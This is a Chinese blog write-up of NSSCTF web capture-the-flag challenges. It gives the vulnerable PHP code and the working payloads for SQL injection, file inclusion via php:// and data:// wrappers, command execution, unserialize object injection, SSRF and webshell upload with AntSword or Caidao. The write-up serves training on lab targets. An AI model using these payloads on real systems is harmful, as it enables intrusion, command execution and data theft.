乐呵呵、欢的博客

lehhair's Blog

NSSCTF刷题

118
2023-10-22

NSSCTF刷题

[SWPUCTF 2021 新生赛]gift_F12

直接f12搜索flag

[SWPUCTF 2021 新生赛]jicao

 <?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
NSSCTF{625c71e0-eb98-4fa3-82be-304ca0ead87c}

payload:

get: ?json={"x":"wllm"} 
post: id=wllmNB

JSON(JavaScript Object Notation, JS对象简谱)

JSON是一种轻量级的数据交换格式。它基于 ECMAScript(European Computer Manufacturers Association, 欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。

JSON的值:

3.1 JSON的构成: ws 值
3.2值可以是对象、数组、数字、字符串或者三个字面值(false、null、true)中的一个。值中的字面值中的英文必须使用小写。
3.2.1对象由花括号括起来的逗号分割的成员构成,成员是字符串键和上文所述的值由逗号分割的键值对组成,如:

  {"name": "John Doe", "age": 18, "address": {"country" : "china", "zip-code": "10000"}}

引用JSON中的对象可以包含多个键值对,并且有数组结构,该语言正是一次实现过程内容的描述。
3.2.2数组是由方括号括起来的一组值构成,如:
[3, 1, 4, 1, 5, 9, 2, 6]
3.2.3 字符串与C或者Java的字符串非常相似。字符串是由双引号包围的任意数量Unicode字符的集合,使用反斜线转义。一个字符(character)即一个单独的字符串(character string)。
3.2.4数字也与C或者Java的数值非常相似。除去未曾使用的八进制与十六进制格式。除去一些编码细节。

ps:这里json介绍搬运nssctf的wp

[SWPUCTF 2021 新生赛]easy_md5

 <?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?>
NSSCTF{5f679c49-c128-43e3-99ab-2d0b547f2296}

方法1
使用数组绕过

?name[]=1&password[]=2

方法2
使用md5碰撞
0e开头的

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
240610708
0e462097431906509019562988736854
314282422

[SWPUCTF 2021 新生赛]easy_sql

查看源码得到提示参数是wllm

payload是

?wllm=-1' union select 1,group_concat(flag),2 from test_tb --+

详情可参考sqlilabs的注入

less-1(get-error based - single quotes - string)

?id=1' and 1=1 --+
# and 1=1 为真,所以页面正常显示

?id=1' order by 1 --+
# 使用order by来确定表中的列数
?id=1' order by 2 --+

?id=1' order by 3 --+

?id=-1' union select 1,2,3 --+

# 使用union select来确定列的类型
# -1是为了让前面的语句报错,从而显示后面的语句的结果

?id=-1' union select 1,database(),version() --+

?id=-1' union select 1,table_name,3 from information_schema.tables --+

# 使用information_schema.tables来确定表名

?id=-1' union select 1,column_name,3 from information_schema.columns where table_name='users' --+

# 使用information_schema.columns来确定列名

?id=-1' union select 1,group_concat(username,password),2 from users --+

# 使用group_concat来获取数据

# group_concat是mysql的一个函数,用来将多行数据合并成一行

[SWPUCTF 2021 新生赛]easy_md5

<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?> 

payload

?name[]=1
post:password[]=2

[SWPUCTF 2021 新生赛]include

根据提示

?file=aaa

读出源码

 <?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

payload

?file=php://filter/convert.base64-encode/resource=flag.php

[SWPUCTF 2021 新生赛]easyrce

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>

payload

?url=system("cat /flag");

rce 题目,常用的几个系统命令执行函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

[SWPUCTF 2021 新生赛]ez_unserialize

dirsearch扫描得到robots.txt

得到路径/cl45s.php


<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

payload

$one = new wllm();
$one->admin = "admin";
$one->passwd = "ctf";

$payload = serialize($one);

echo urlencode($payload);
?p=O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

得到flag

[SWPUCTF 2021 新生赛]caidao

直接菜刀连,密码是wllm

或者post

wllm=echo `cat /flag`;

// ` `内的内容相当于执行系统命令
wllm=var_dump(file_get_contents("/flag"));
// var_dump()函数用于输出变量的相关信息
// file_get_contents()函数用于读取文件

[SWPUCTF 2021 新生赛]Do_you_know_http

根据提示

User-Agent: WLLM

X-Forwarded-For: 127.0.0.1

得到flag

[第五空间 2021]WebFTP

使用dirsearch扫描得到/phpinfo.php

搜索NSSCTF 得到flag

此外还扫描到readme.txt 得到了账户密码

[SWPUCTF 2021 新生赛]babyrce

修改cookie admin=1

 <?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{
    include "../next.php";
}
else
    echo "小饼干最好吃啦!";
?> rasalghul.php 

得到提示后访问rasalghul.php

 <?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}
?> bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var 

payload

?url=ls${IFS}/
?url=cat${IFS}/flllllaaaaaaggggggg

得到flag

[SWPUCTF 2021 新生赛]easyupload2.0

上传一句话木马文件改成phtml后缀

上传访问成功,蚁剑连

看看后台源码

if(preg_match("/php|hta|ini/i", $uploaded_ext))
    {
        die("php是不行滴");
    }

发现只过滤了php hta ini
最终是在flag.php中得到flag

[SWPUCTF 2021 新生赛]easyupload1.0

上传一句话木马png,使用bp抓包改后缀为php放行
蚁剑连,发现flag.php里面的是假的
使用虚拟终端输入env查看环境变量得到flag

[SWPUCTF 2021 新生赛]no_wakeup

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

$a = new HaHaHa;
$a -> admin = "admin";
$a -> passwd = "wllm";
echo urlencode(serialize($a));

?> 

构造出 O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
但是这里的passwd经过了sha1加密,因为sha1是不可逆的,所以由于php特性可以构造
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

当序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
payload

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

得到flag

[SWPUCTF 2021 新生赛]PseudoProtocols

提示

hint is hear Can you find out the hint.php?

伪协议

?wllm=php://filter/convert.base64-encode/resource=hint.php

得到PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=

base64解码得到

<?php
//go to /test2222222222222.php
?>

跳转到test2222222222222.php

 <?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?> 

这里的file_get_contents()函数用于读取文件,第一个参数是文件名,第二个参数是读取模式,这里是'r',表示只读模式

使用伪协议,方法1 php://input,然后post数据I want flag
方法2 ?a=data://text/plain,I want flag

得到flag

[NISACTF 2022]easyssrf

在输入框输入 file:///flag
提示 都说了这里看不了flag。。但是可以看看提示文件:/fl4g
然后输入 file:///fl4g
得到提示:你应该看看除了index.php,是不是还有个ha1x1ux1u.php
访问靶机ip/ha1x1ux1u.php
得到源码

 <?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
  die("你败了.");
}

//flag in /flag
echo file_get_contents($file); 
//这里的file_get_contents()函数是用来把文件读入到一个字符串中的函数
?> 

payload

?file=php://filter/convert.base64-encode/resource=/flag

或者

?file=../../flag

[ZJCTF 2019]NiZhuanSiWei

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

读源码

?text=data://text/plain,welcome to the zjctf
//满足第一个if条件
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
读出useless.php的源码

uselss.php源码如下

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}

?>

构造反序列化

$a = new Flag();
$a->file = 'flag.php';
echo urlencode(serialize($a));

得到

O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D  

//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

最终payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

回显
oh u find it

U R SO CLOSE !///COME ON PLZ

f12查看源码得到flag

[LitCTF 2023]我Flag呢?

直接f12查看源码得到flag

[NCTF 2018]签到题

直接访问靶机发现路径是/secret.php

抓包重新访问靶机路径/index.php 在响应头发现flag

[SWPUCTF 2021 新生赛]easyupload3.0

[MRCTF2020]你传你🐎呢一模一样

先上传 .htaccess 内容为 SetHandler application/x-httpd-php
然后上传后缀为png的一句话木马

最后蚁剑连

[SWPUCTF 2021 新生赛]error

报错注入,参考sqlilabs的注入
less-5(get-double injection - single quotes - string)

payload

?id=1' and extractvalue(1,concat('~',(select group_concat(flag) from test_tb))) --+

/*发现显示不全,使用mid函数截取*/

?id=1' and extractvalue(1,concat('~',mid((select group_concat(flag) from test_tb),31))) --+

mid函数的语法

SELECT MID(column_name,start[,length]) FROM table_name

[LitCTF 2023]PHP是世界上最好的语言!!

打开靶机后看见页面,输入system('cat /flag');
run code 得到flag